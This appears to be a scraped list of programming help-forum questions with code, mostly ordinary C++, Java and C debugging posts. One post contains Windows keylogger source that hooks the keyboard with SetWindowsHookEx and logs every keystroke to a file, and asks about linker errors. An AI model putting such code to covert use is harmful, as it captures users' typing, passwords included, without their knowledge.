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• gtk+ g++ error: invalid use of member

  - by Darragh

  #include <glib.h> #include <gtk/gtk.h> #include <iostream> using namespace std; #ifndef CONNECT4MENU_H #define CONNECT4MENU_H static gboolean deleteEvent( GtkWidget *widget, GdkEvent *event, gpointer data); static int startGame(GtkWidget *widget, GdkEvent *event, gpointer data); static int gui(); GtkWidget *window; GtkWidget *button; GtkWidget *button2; GtkWidget *button3; GtkWidget *button4; GtkWidget *button5; GtkWidget *button6; GtkWidget *box1; GtkWidget *box2; GtkWidget *box3; GtkWidget *box4; GtkWidget *box5; GtkWidget *box6; GSList *group; GSList *group2; int gamet = 0; static int gui() { window = gtk_window_new(GTK_WINDOW_TOPLEVEL); g_signal_connect(G_OBJECT(window), "delete_event", G_CALLBACK(deleteEvent), NULL); box3 = gtk_vbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(window), box3); gtk_widget_show(box3); box1 = gtk_hbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(box3), box1); gtk_widget_show(box1); button = gtk_radio_button_new_with_label(NULL, "1 Player"); gtk_box_pack_start(GTK_BOX(box1), button, TRUE, TRUE, 0); gtk_widget_show(button); group = gtk_radio_button_get_group(GTK_RADIO_BUTTON(button)); button2 = gtk_radio_button_new_with_label(group, "2 Player"); gtk_box_pack_start(GTK_BOX(box1), button2, TRUE, TRUE, 0); gtk_widget_show(button2); box4 = gtk_vbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(box3), box4); gtk_widget_show(box4); box2 = gtk_hbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(box4), box2); gtk_widget_show(box2); button3 = gtk_radio_button_new_with_label(NULL, "Easy"); gtk_box_pack_start(GTK_BOX(box2), button3, TRUE, TRUE, 0); gtk_widget_show(button3); group2 = gtk_radio_button_get_group(GTK_RADIO_BUTTON(button3)); button4 = gtk_radio_button_new_with_label(group2, "Medium"); gtk_box_pack_start(GTK_BOX(box2), button4, TRUE, TRUE, 0); gtk_widget_show(button4); group2 = gtk_radio_button_get_group(GTK_RADIO_BUTTON(button4)); button5 = gtk_radio_button_new_with_label(group2, "Expert"); gtk_box_pack_start(GTK_BOX(box2), button5, TRUE, TRUE, 0); gtk_widget_show(button5); box5 = gtk_vbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(box4), box5); gtk_widget_show(box5); button6 = gtk_button_new_with_label ("Start Game"); g_signal_connect (G_OBJECT (button6), "clicked", G_CALLBACK (startGame), NULL); gtk_box_pack_start(GTK_BOX (box5), button6, TRUE, TRUE, 0); gtk_widget_show(button6); gtk_widget_show(window); gtk_main(); } static gboolean deleteEvent(GtkWidget *widget, GdkEvent *event, gpointer data) { gtk_main_quit(); return FALSE; } static int startGame(GtkWidget *widget, GdkEvent *event, gpointer data) { if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button))) { if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button3))) { gamet = 1; gtk_main_quit(); } if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button4))) { gamet = 2; gtk_main_quit(); } if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button5))) { gamet = 3; gtk_main_quit(); } } if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button2))) { gamet = 4; gtk_main_quit(); } } #endif The error I get when I try to compile this is: connect4menu2.h: In member function 'void menu::gui()': connect4menu2.h:46: error: invalid use of member (did you forget the '&' ?) connect4menu2.h:96: error: invalid use of member (did you forget the '&' ?) I cannot understand why I can't call startGame and deleteEvent from gui. Does anybody know why I am getting this error

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• Looking for suggestions on how to reuse AlertDialogs to confirm actions of contextual menus on the items of an ActivityList

  - by Ozone

  I use a ListActivity to display a list of items. The user can long-press an item in the list to display a contextual menu. This menu contains among other things an option to delete the long-pressed item. When the user selects this option, a dialog pops up asking for confirmation of the deletion. Upon confirmation, the item is deleted from the list. I would like to reuse the AlertDialog as much as possible. My attempts at using onPrepareDialog(int, View, Bundle) have been defeated by the fact that the Bundle is not passed to the DialogInterface.OnClickListener. I end up having to recreate a listener on every invocation. I see several ways to solve this: recreate the dialog on every occasion (pros: simple, cons: wasteful) keep the DialogInterface.OnClickListener in a field on the ListActivity and keep the item to be deleted as a field of the listener. (pros: no memory waste, cons: need to manage state). Q: is this safe? have onPrepareDialog update the title, and bind new View.OnClickListeners on the buttons of the AlertDialog. (pros: limit waste, cons: new View.OnClickListener on every invocation). If DialogInterface.OnClickListener accepted a Bundle, I wouldn't have to jump through hoops to keep track of the item being deleted. This is not a blocker, but I would love to see an elegant solution. I would love to hear your suggestions :) Here is the code for option #1, if you want to play with this: public class Example extends ListActivity { private static final int CONFIRM_DELETE_DIALOG = 1; private static final String POSITION_KEY = "position"; private ArrayAdapter<String> mAdapter; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); mAdapter = new ArrayAdapter<String>( this, android.R.layout.simple_list_item_1, new String[] { "one", "two" }); setListAdapter(mAdapter); registerForContextMenu(getListView()); } @Override public void onCreateContextMenu(ContextMenu menu, View v, ContextMenuInfo menuInfo) { super.onCreateContextMenu(menu, v, menuInfo); getMenuInflater().inflate(R.menu.my_lovely_menu, menu); } @Override public boolean onContextItemSelected(MenuItem item) { AdapterContextMenuInfo info = (AdapterContextMenuInfo) item.getMenuInfo(); switch (item.getItemId()) { case R.id.delete_item: Bundle bundle = new Bundle(); bundle.putInt(POSITION_KEY, info.position); showDialog(CONFIRM_DELETE_DIALOG, bundle); return true; default: return super.onContextItemSelected(item); } } @Override protected Dialog onCreateDialog(int id, Bundle args) { switch (id) { case CONFIRM_DELETE_DIALOG: final int position = args.getInt(POSITION_KEY); AlertDialog.Builder builder = new AlertDialog.Builder(); builder.setCancelable(false); builder.setTitle(String.format( getString(R.string.confirm_delete), mAdapter.getItem(position))); DialogInterface.OnClickListener listener = new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { switch (which) { case DialogInterface.BUTTON_POSITIVE: mAdapter.remove(mAdapter.getItem(position)); // Dismiss the dialog to ensure OnDismissListeners are notified. dialog.dismiss(); break; case DialogInterface.BUTTON_NEGATIVE: // Cancel the dialog to ensure OnCancelListeners are notified. dialog.cancel(); break; } // Remove the dialog so it is re-created next time it is required. removeDialog(CONFIRM_DELETE_DIALOG); } }; builder.setPositiveButton(android.R.string.yes, listener); builder.setNegativeButton(android.R.string.no, listener); return builder.create(); default: return super.onCreateDialog(id, args); } } }

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• Calling fuctions of header file

  - by navinbecse

  i want to know the way i am calling the methods defined in windows.h from c++ program is correct or wrong.. when i tried to get the library files out of it, it is showing the errors saying that unresolved methods... i am using this for jni purpose... #define _WIN32_WINNT 0x0500 #include "keylogs.h" #include <fstream #include <windows.h using namespace std; ofstream out("C:\Users\402100\Desktop\keyloggerfile.txt", ios::out); LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p-vkCode) { // Invisible keys case VK_CAPITAL: out << ""; break; case VK_SHIFT: out << ""; break; case VK_LCONTROL: out << ""; break; case VK_RCONTROL: out << ""; break; case VK_INSERT: out << ""; break; case VK_END: out << ""; break; case VK_PRINT: out << ""; break; case VK_DELETE: out << ""; break; case VK_BACK: out << ""; break; case VK_SPACE: out << ""; break; case VK_RMENU: out << ""; break; case VK_LMENU: out << ""; break; case VK_LEFT: out << ""; break; case VK_RIGHT: out << ""; break; case VK_UP: out << ""; break; case VK_DOWN: out << ""; break; // Visible keys default: out << char(tolower(p->vkCode)); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } JNIEXPORT void JNICALL Java_keylog_Main_CallerMethod(JNIEnv *env, jobject) { HINSTANCE hInstance=GetModuleHandle(0); HHOOK keyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); out.close(); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { // Set windows hook return 0; } The errors which i am getting is... file.obj : error LNK2019: unresolved external symbol _imp_CallNextHookEx@16 re ferenced in function "long __stdcall keyboardHookProc(int,unsigned int,long)" (? keyboardHookProc@@YGJHIJ@Z) file.obj : error LNK2019: unresolved external symbol _imp_MessageBoxA@16 refer enced in function "class std::basic_string,cl ass std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA?AV?$ba sic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) file.obj : error LNK2019: unresolved external symbol _imp_SetWindowsHookExA@16 referenced in function "class std::basic_string,class std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA? AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) c:\Users\402100\Desktop\oldfile.dll : fatal error LNK1120: 3 unresolved externals can any one help me please....

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• C++ Compound Interest Exercise

  - by Lameste

  I'm a beginner trying to learn C++ using "C++ Primer Plus Sixth Edition". I'm on Chapter 5, going over loops. Anyways I was doing this programming exercise from the book, the problem is: Daphne invests $100 at 10% simple interest.That is, every year, the investment earns 10% of the original investment, or $10 each and every year: interest = 0.10 × original balance At the same time, Cleo invests $100 at 5% compound interest.That is, interest is 5% of the current balance, including previous additions of interest: interest = 0.05 × current balance Cleo earns 5% of $100 the first year, giving her $105.The next year she earns 5% of $105, or $5.25, and so on.Write a program that finds how many years it takes for the value of Cleo’s investment to exceed the value of Daphne’s investment and then displays the value of both investments at that time. Here is the code I have written for this exercise, I'm not getting good results though. #include <iostream> #include <array> double Daphne(int, double, double); double Chleo(double, double); int main() { using namespace std; int p = 100; //Principle double i1 = 0.1; // 10% interest rate double i2 = 0.05; // 5% interest rate double dInv = 0; //Daphnes investment double cInv = 0; // Chleos investment int t=1; //Starting at year 1 double s1 = 0; //Sum 1 for Daphne double s2 = 0; // Sum 2 for Chleo s1 = p + 10; //Initial interest (base case after year 1) for Daphne s2 = p + (i2*p); //Initial interest (base case after year 1) for Chleo /*cout << s1 << endl; cout << s2 << endl;*/ while (cInv < dInv) { dInv = Daphne(p, i1, s1); cInv = Chleo(i2, s2); t++; } cout << "The time taken for Chleos investment to exceed Daphnes was: " << t << endl; cout << "Daphnes investment at " << t << " years is: " << dInv << endl; cout << "Chleos invesment at " << t << " years is: " << cInv << endl; system("pause"); return 0; } double Daphne(int p, double i, double s1) { s1 = s1 + (p*i); return s1; } double Chleo(double i, double s2){ s2 = s2 + (s2*i); return s2; } Output from console: The time taken for Chleos investment to exceed Daphnes was: 1 Daphnes investment at 1 years is: 0 Chleos invesment at 1 years is: 0 Press any key to continue . . . Can anyone explain why I'm getting this current result? The while loop is supposed to continue executing statements until Chleo's investment exceeds Daphnes.

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• Help for creating a random String

  - by Max

  I need to create a random string which should be between the length of 6 to 10 but it sometimes generates only about the length of 3 to 5. Here's my code. Can anyone would be able to find out the problem? :( int lengthOfName = (int)(Math.random() * 4) + 6; String name = ""; /* randomly choosing a name*/ for (int j = 0; j <= lengthOfName; j++) { int freq = (int)(Math.random() * 100) + 1; if(freq <= 6){ name += "a"; }if(freq == 7 && freq == 8){ name += "b"; }if(freq >= 9 && freq <= 11){ name += "c"; }if(freq >= 12 && freq <= 15){ name += "d"; }if(freq >= 16 && freq <= 25){ name += "e"; }if(freq == 26 && freq == 27){ name += "f"; }if(freq == 28 && freq == 29){ name += "g"; }if(freq >= 30 && freq <= 33){ name += "h"; }if(freq >= 34 && freq <= 48){ name += "i"; }if(freq == 49 && freq == 50){ name += "j"; }if(freq >= 51 && freq <= 55){ name += "k"; }if(freq >= 56 && freq <= 60){ name += "l"; }if(freq == 61 && freq == 62){ name += "m"; }if(freq >= 63 && freq <= 70){ name += "n"; }if(freq >= 71 && freq <= 75){ name += "o"; }if(freq == 76 && freq == 77){ name += "p"; }if(freq == 78){ name += "q"; }if(freq >= 79 && freq <= 84){ name += "r"; }if(freq == 85 && freq == 86){ name += "s"; }if(freq == 87 && freq == 88){ name += "t"; }if(freq >= 89 && freq <= 93){ name += "u"; }if(freq == 94){ name += "v"; }if(freq == 95 && freq == 96){ name += "w"; }if(freq == 97){ name += "x"; }if(freq == 98 && freq == 99){ name += "y"; }if(freq == 100){ name += "z"; } }

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• Why ((Integer) weightModel.getObject()).intValue(); throws exception

  - by yakup

  I am learning Wicket by "Enjoying Web Development with Wicket" book. And in an example: int weight = ((Integer) weightModel.getObject()).intValue(); is used. When I click Submit button it throws exception. But after changed the code to: int weight=Integer.parseInt( (String) weightModel.getObject()); It works fine. What is the reason for throwing the exception? The full code: GetRequest.java package myapp.postage; import java.util.HashMap; import java.util.Map; import org.apache.wicket.markup.html.WebPage; import org.apache.wicket.markup.html.form.Form; import org.apache.wicket.markup.html.form.TextField; import org.apache.wicket.model.Model; @SuppressWarnings("unchecked") public class GetRequest extends WebPage { private Model weightModel=new Model(); private Model patronCodeModel=new Model(); private Map patronCodeToDiscount; public GetRequest(){ patronCodeToDiscount=new HashMap(); patronCodeToDiscount.put("p1", new Integer(90)); patronCodeToDiscount.put("p2", new Integer(95)); Form form=new Form("form"){ @Override protected void onSubmit(){ int weight = ((Integer) weightModel.getObject()).intValue(); Integer discount=(Integer)patronCodeToDiscount.get(patronCodeModel.getObject()); int postagePerKg=10; int postage=weight*postagePerKg; if(discount!=null){ postage=postage*discount.intValue()/100; } ShowPostage showPostage=new ShowPostage(postage); setResponsePage(showPostage); } }; TextField weight=new TextField("weight",weightModel); form.add(weight); TextField patronCode=new TextField("patronCode",patronCodeModel); form.add(patronCode); add(form); } } The html file GetRequest.html: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <form wicket:id="form"> <table> <tr> <td>Weight</td> <td><input type="text" wicket:id="weight"/></td> </tr> <tr> <td>Patron code:</td> <td><input type="text" wicket:id="patronCode"/></td> </tr> <tr> <td></td> <td><input type="submit"/></td> </tr> </table> </form> </html>

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• Mapping integers to types using C++ template fails in a specific case

  - by Shailesh Kumar

  I am attempting to compile the following template based code in VC++ 2005. #include <iostream> using namespace std; /* * T is a template which maps an integer to a specific type. * The mapping happens through partial template specialization. * In the following T<1> is mapped to char, T<2> is mapped to long * and T<3> is mapped to float using partial template specializations */ template <int x> struct T { public: }; template<> struct T<1> { public: typedef char xType; }; template<> struct T<2> { public: typedef long xType; }; template<> struct T<3> { public: typedef float xType; }; // We can easily access the specific xType for a specific T<N> typedef T<3>::xType x3Type; /*! * In the following we are attempting to use T<N> inside another * template class T2<R> */ template<int r> struct T2 { //We can map T<r> to some other type T3 typedef T<r> T3; // The following line fails typedef T3::xType xType; }; int main() { T<1>::xType a1; cout << typeid(a1).name() << endl; T<2>::xType a2; cout << typeid(a2).name() << endl; T<3>::xType a3; cout << typeid(a3).name() << endl; return 0; } There is a particular line in the code which doesn't compile: typedef T3::xType xType; If I remove this line, compilation goes fine and the result is: char long float If I retain this line, compilation errors are observed. main.cpp(53) : warning C4346: 'T<x>::xType' : dependent name is not a type prefix with 'typename' to indicate a type main.cpp(54) : see reference to class template instantiation 'T2<r>' being compiled main.cpp(53) : error C2146: syntax error : missing ';' before identifier 'xType' main.cpp(53) : error C4430: missing type specifier - int assumed. Note: C++ does not support default-int I am not able to figure out how to make sure that T::xType can be treated as a type inside the T2 template. Any help is highly appreciated.

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• Purpose of overloading operators in C++?

  - by Geo Drawkcab

  What is the main purpose of overloading operators in C++? In the code below, << and >> are overloaded; what is the advantage to doing so? #include <iostream> #include <string> using namespace std; class book { string name,gvari; double cost; int year; public: book(){}; book(string a, string b, double c, int d) { a=name;b=gvari;c=cost;d=year; } ~book() {} double setprice(double a) { return a=cost; } friend ostream& operator <<(ostream& , book&); void printbook(){ cout<<"wignis saxeli "<<name<<endl; cout<<"wignis avtori "<<gvari<<endl; cout<<"girebuleba "<<cost<<endl; cout<<"weli "<<year<<endl; } }; ostream& operator <<(ostream& out, book& a){ out<<"wignis saxeli "<<a.name<<endl; out<<"wignis avtori "<<a.gvari<<endl; out<<"girebuleba "<<a.cost<<endl; out<<"weli "<<a.year<<endl; return out; } class library_card : public book { string nomeri; int raod; public: library_card(){}; library_card( string a, int b){a=nomeri;b=raod;} ~library_card() {}; void printcard(){ cout<<"katalogis nomeri "<<nomeri<<endl; cout<<"gacemis raodenoba "<<raod<<endl; } friend ostream& operator <<(ostream& , library_card&); }; ostream& operator <<(ostream& out, library_card& b) { out<<"katalogis nomeri "<<b.nomeri<<endl; out<<"gacemis raodenoba "<<b.raod<<endl; return out; } int main() { book A("robizon kruno","giorgi",15,1992); library_card B("910CPP",123); A.printbook(); B.printbook(); A.setprice(15); B.printbook(); system("pause"); return 0; }

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• Weird behavior of fork() and execvp() in C

  - by ron

  After some remarks from my previous post , I made the following modifications : int main() { char errorStr[BUFF3]; while (1) { int i , errorFile; char *line = malloc(BUFFER); char *origLine = line; fgets(line, 128, stdin); // get a line from stdin // get complete diagnostics on the given string lineData info = runDiagnostics(line); char command[20]; sscanf(line, "%20s ", command); line = strchr(line, ' '); // here I remove the command from the line , the command is stored in "commmand" above printf("The Command is: %s\n", command); int currentCount = 0; // number of elements in the line int *argumentsCount = &currentCount; // pointer to that // get the elements separated char** arguments = separateLineGetElements(line,argumentsCount); printf("\nOutput after separating the given line from the user\n"); for (i = 0; i < *argumentsCount; i++) { printf("Argument %i is: %s\n", i, arguments[i]); } // here we call a method that would execute the commands pid_t pid ; if (-1 == (pid = fork())) { sprintf(errorStr,"fork: %s\n",strerror(errno)); write(errorFile,errorStr,strlen(errorStr + 1)); perror("fork"); exit(1); } else if (pid == 0) // fork was successful { printf("\nIn son process\n"); // if (execvp(arguments[0],arguments) < 0) // for the moment I ignore this line if (execvp(command,arguments) < 0) // execute the command { perror("execvp"); printf("ERROR: execvp failed\n"); exit(1); } } else // parent { int status = 0; pid = wait(&status); printf("Process %d returned with status %d.", pid, status); } // print each element of the line for (i = 0; i < *argumentsCount; i++) { printf("Argument %i is: %s\n", i, arguments[i]); } // free all the elements from the memory for (i = 0; i < *argumentsCount; i++) { free(arguments[i]); } free(arguments); free(origLine); } return 0; } When I enter in the Console : ls out.txt I get : The Command is: ls execvp: No such file or directory In son process ERROR: execvp failed Process 4047 returned with status 256.Argument 0 is: > Argument 1 is: out.txt So I guess that the son process is active , but from some reason the execvp fails . Why ? Regards REMARK : The ls command is just an example . I need to make this works with any given command . EDIT 1 : User input : ls > qq.out Program output : The Command is: ls Output after separating the given line from the user Argument 0 is: > Argument 1 is: qq.out In son process >: cannot access qq.out: No such file or directory Process 4885 returned with status 512.Argument 0 is: > Argument 1 is: qq.out

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• Problem in arranging contents of Class in JAVA

  - by LuckySlevin

  Hi, I have some classes and I'm trying to fill the objects of this class. Here is what i've tried. (Question is at the below) public class Team { private String clubName; private String preName; private ArrayList<String> branches; public Team(String clubName, String preName) { this.clubName = clubName; this.preName = preName; branches = new ArrayList<String>(); } public Team() { // TODO Auto-generated constructor stub } public String getClubName() { return clubName; } public String getPreName() { return preName; } public ArrayList<String> getBranches() { return branches; } public void setClubName(String clubName) { this.clubName = clubName; } public void setPreName(String preName) { this.preName = preName; } public void setBranches(ArrayList<String> branches) { this.branches = branches; } } public class Branch { private ArrayList<Player> players = new ArrayList<Player>(); String brName; public Branch() {} public void setBr(String brName){this.brName = brName;} public String getBr(){return brName;} public ArrayList<Player> getPlayers() { return players; } public void setPlayers(ArrayList<Player> players) { this.players = players; } } //TEST CLASS public class test { /** * @param args * @throws IOException */ public static void main(String[] args) throws IOException { String a,b,c; String q = "q"; int brCount = 0, tCount = 0; BufferedReader input = new BufferedReader(new InputStreamReader(System.in)); Team[] teams = new Team[30]; Branch[] myBranch = new Branch[30]; for(int z = 0 ; z <30 ;z++) { teams[z] = new Team(); myBranch[z] = new Branch(); } ArrayList<String> tmp = new ArrayList<String>(); int k = 0; int secim = Integer.parseInt(input.readLine()); while(secim != 0) { if(k!=0) secim = Integer.parseInt(input.readLine()); k++; switch(secim) { case 1 : brCount = 0; a = input.readLine(); teams[tCount].setClubName(a); b= input.readLine(); teams[tCount].setPreName(b); c = input.readLine(); while(c.equals(q) == false) { if(brCount != 0) {c = input.readLine();} if(c.equals(q)== false){ myBranch[brCount].brName = c; tmp.add(myBranch[brCount].brName); brCount++; } System.out.println(brCount); } teams[tCount].setBranches(tmp); for(int i=0;i<=tCount;i++ ){ System.out.print("a :" + teams[i].getClubName()+ " " + teams[i].getPreName()+ " "); System.out.println(teams[i].getBranches());} tCount++; break; case 2: String src = input.readLine();//LATERRRRRRRr } } } } The problem is one of my class elements. I have an arraylist as an element of a class. When i enter: AAA as preName BBB as clubName c d e as Branches Then as a second element www as preName GGG as clubName a b as branches The result is coming like: AAA BBB c,d,e,a,b GGG www c,d,e,a,b Which means ArrayList part of the class is putting it on and on. I tried to use clear() method but caused problems. Any ideas.

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• Nested loop traversing arrays

  - by alecco

  There are 2 very big series of elements, the second 100 times bigger than the first. For each element of the first series, there are 0 or more elements on the second series. This can be traversed and processed with 2 nested loops. But the unpredictability of the amount of matching elements for each member of the first array makes things very, very slow. The actual processing of the 2nd series of elements involves logical and (&) and a population count. I couldn't find good optimizations using C but I am considering doing inline asm, doing rep* mov* or similar for each element of the first series and then doing the batch processing of the matching bytes of the second series, perhaps in buffers of 1MB or something. But the code would be get quite messy. Does anybody know of a better way? C preferred but x86 ASM OK too. Many thanks! Sample/demo code with simplified problem, first series are "people" and second series are "events", for clarity's sake. (the original problem is actually 100m and 10,000m entries!) #include <stdio.h> #include <stdint.h> #define PEOPLE 1000000 // 1m struct Person { uint8_t age; // Filtering condition uint8_t cnt; // Number of events for this person in E } P[PEOPLE]; // Each has 0 or more bytes with bit flags #define EVENTS 100000000 // 100m uint8_t P1[EVENTS]; // Property 1 flags uint8_t P2[EVENTS]; // Property 2 flags void init_arrays() { for (int i = 0; i < PEOPLE; i++) { // just some stuff P[i].age = i & 0x07; P[i].cnt = i % 220; // assert( sum < EVENTS ); } for (int i = 0; i < EVENTS; i++) { P1[i] = i % 7; // just some stuff P2[i] = i % 9; // just some other stuff } } int main(int argc, char *argv[]) { uint64_t sum = 0, fcur = 0; int age_filter = 7; // just some init_arrays(); // Init P, P1, P2 for (int64_t p = 0; p < PEOPLE ; p++) if (P[p].age < age_filter) for (int64_t e = 0; e < P[p].cnt ; e++, fcur++) sum += __builtin_popcount( P1[fcur] & P2[fcur] ); else fcur += P[p].cnt; // skip this person's events printf("(dummy %ld %ld)\n", sum, fcur ); return 0; } gcc -O5 -march=native -std=c99 test.c -o test

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• Write a program for a report derived from the data in the data file JEWELRY. The data is to be input

  - by Taylor

  here is the JEWELRY file 0011 Money_Clip 2.000 50.00 Other 0035 Paperweight 1.625 175.00 Other 0457 Cuff_Bracelet 2.375 150.00 Bracelet 0465 Links_Bracelet 7.125 425.00 Bracelet 0585 Key_Chain 1.325 50.00 Other 0595 Cuff_Links 0.625 525.00 Other 0935 Royale_Pendant 0.625 975.00 Pendant 1092 Bordeaux_Cross 1.625 425.00 Cross 1105 Victory_Medallion 0.875 30.00 Pendant 1111 Marquis_Cross 1.375 70.00 Cross 1160 Christina_Ring 0.500 175.00 Ring 1511 French_Clips 0.687 375.00 Other 1717 Pebble_Pendant 1.250 45.00 Pendant 1725 Folded_Pendant 1.250 45.00 Pendant 1730 Curio_Pendant 1.063 275.00 Pendant this is the program i have used #include <iostream> #include <string> #include <iomanip> #include <fstream> using namespace std; struct productJewelry { string name; double amount; int itemCode; double size; string group; }; int main() { // declare variables ifstream inFile; int count=0; int x=0; productJewelry product[50]; inFile.open("jewelry.txt"); // file must be in same folder if (inFile.fail()) cout << "failed"; cout << fixed << showpoint; // fixed format, two decimal places cout << setprecision(2); while (inFile.peek() != EOF) { // cout << count << " : "; count++; inFile>> product[x].itemCode; inFile>> product[x].name; inFile>> product[x].size; inFile>> product[x].amount; inFile>> product[x].group; // cout << product[x].itemCode << ", " << product[x].name << ", "<< product[x].size << ", " << product[x].amount << endl; x++; if (inFile.peek() == '\n') inFile.ignore(1, '\n'); } inFile.close(); string temp; bool swap; do { swap = false; for (int x=0; x<count;x++) { if (product[x].name>product[x+1].name) { //these 3 lines are to swap elements in array temp=product[x].name; product[x].name=product[x+1].name; product[x+1].name=temp; swap=true; } } } while (swap); for (x=0; x< count; x++) { //cout<< product[x].itemCode<<" "; //cout<< product[x].name <<" "; //cout<< product[x].size <<" "; //cout<< product[x].amount<<" "; //cout<< product[x].group<<" "<<endl; } system("pause"); // to freeze Dev-c++ output screen return 0; } // end main

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• Java: Object Array assignment in for loop

  - by Hackster

  I am trying to use Dijkstra's algorithm to find the shortest path from a specific vertex (v0) to the rest of them. That is solved and works well with this code from this link below: http://en.literateprograms.org/index.php?title=Special:DownloadCode/Dijkstra%27s_algorithm_(Java)&oldid=15444 I am having trouble with assigning the Edge array in a for loop from the user input, as opposed to hard-coding it like it is here. Any help assigning a new edge to Edge[] adjacencies from each vertex? Keeping in mind it could be 1 or multiple edges. class Vertex implements Comparable<Vertex> { public final String name; public Edge[] adjacencies; public double minDistance = Double.POSITIVE_INFINITY; public Vertex previous; public Vertex(String argName) { name = argName; } public String toString() { return name; } public int compareTo(Vertex other){ return Double.compare(minDistance, other.minDistance); } } class Edge{ public final Vertex target; public final double weight; public Edge(Vertex argTarget, double argWeight){ target = argTarget; weight = argWeight; } } public static void main(String[] args) { Vertex v[] = new Vertex[3]; Vertex v[0] = new Vertex("Harrisburg"); Vertex v[1] = new Vertex("Baltimore"); Vertex v[2] = new Vertex("Washington"); v0.adjacencies = new Edge[]{ new Edge(v[1], 1), new Edge(v[2], 3) }; v1.adjacencies = new Edge[]{ new Edge(v[0], 1), new Edge(v[2], 1),}; v2.adjacencies = new Edge[]{ new Edge(v[0], 3), new Edge(v[1], 1) }; Vertex[] vertices = { v0, v1, v2}; /*Three vertices with weight: V0 connects (V1,1),(V2,3) V1 connects (V0,1),(V2,1) V2 connects (V1,1),(V2,3) */ computePaths(v0); for (Vertex v : vertices){ System.out.println("Distance to " + v + ": " + v.minDistance); List<Vertex> path = getShortestPathTo(v); System.out.println("Path: " + path); } } } The above code works well in finding the shortest path from v0 to all the other vertices. The problem occurs when assigning the new edge[] to edge[] adjacencies. For example this does not produce the correct output: for (int i = 0; i < total_vertices; i++){ s = br.readLine(); char[] line = s.toCharArray(); for (int j = 0; j < line.length; j++){ if(j % 4 == 0 ){ //Input: vertex weight vertex weight: 1 1 2 3 int vert = Integer.parseInt(String.valueOf(line[j])); int w = Integer.parseInt(String.valueOf(line[j+2])); v[i].adjacencies = new Edge[] {new Edge(v[vert], w)}; } } } As opposed to this: v0.adjacencies = new Edge[]{ new Edge(v[1], 1), new Edge(v[2], 3) }; How can I take the user input and make an Edge[], to pass it to adjacencies? The problem is it could be 0 edges or many. Any help would be much appreciated Thanks!

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• To copy data from a webpage into an array of structs and sorted by“name” before producing the data.

  - by Taylor

  include include include include using namespace std; struct productJewelry { string name; double amount; int itemCode; double size; string group; }; int main() { // declare variables ifstream inFile; int count=0; int x=0; productJewelry product[50]; inFile.open("jewelry.txt"); // file must be in same folder if (inFile.fail()) cout << "failed"; cout << fixed << showpoint; // fixed format, two decimal places cout << setprecision(2); while (inFile.peek() != EOF) { // cout << count << " : "; count++; inFile product[x].itemCode; inFile product[x].name; inFile product[x].size; inFile product[x].amount; inFile product[x].group; // cout << product[x].itemCode << ", " << product[x].name << ", "<< product[x].size << ", " << product[x].amount << endl; x++; if (inFile.peek() == '\n') inFile.ignore(1, '\n'); } inFile.close(); string temp; bool swap; do { swap = false; for (int x=0; xproduct[x+1].name) { //these 3 lines are to swap elements in array temp=product[x].name; product[x].name=product[x+1].name; product[x+1].name=temp; swap=true; } } } while (swap); for (x=0; x< count; x++) { //cout<< product[x].itemCode<<" "; //cout<< product[x].name <<" "; //cout<< product[x].size <<" "; //cout<< product[x].amount<<" "; //cout<< product[x].group<<" "<<endl; } system("pause"); // to freeze Dev-c++ output screen return 0; } // end main THE FILE THAT NEEDS TO PRINT AND BE SORTED IN ALPHABETICAL ORDER 0011 Money_Clip 2.000 50.00 Other 0035 Paperweight 1.625 175.00 Other 0457 Cuff_Bracelet 2.375 150.00 Bracelet 0465 Links_Bracelet 7.125 425.00 Bracelet 0585 Key_Chain 1.325 50.00 Other 0595 Cuff_Links 0.625 525.00 Other 0935 Royale_Pendant 0.625 975.00 Pendant 1092 Bordeaux_Cross 1.625 425.00 Cross 1105 Victory_Medallion 0.875 30.00 Pendant 1111 Marquis_Cross 1.375 70.00 Cross 1160 Christina_Ring 0.500 175.00 Ring 1511 French_Clips 0.687 375.00 Other 1717 Pebble_Pendant 1.250 45.00 Pendant 1725 Folded_Pendant 1.250 45.00 Pendant 1730 Curio_Pendant 1.063 275.00 Pendant

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• To copy data from a webpage into an array of structs and sorted by"name" before producing the data.

  - by Taylor

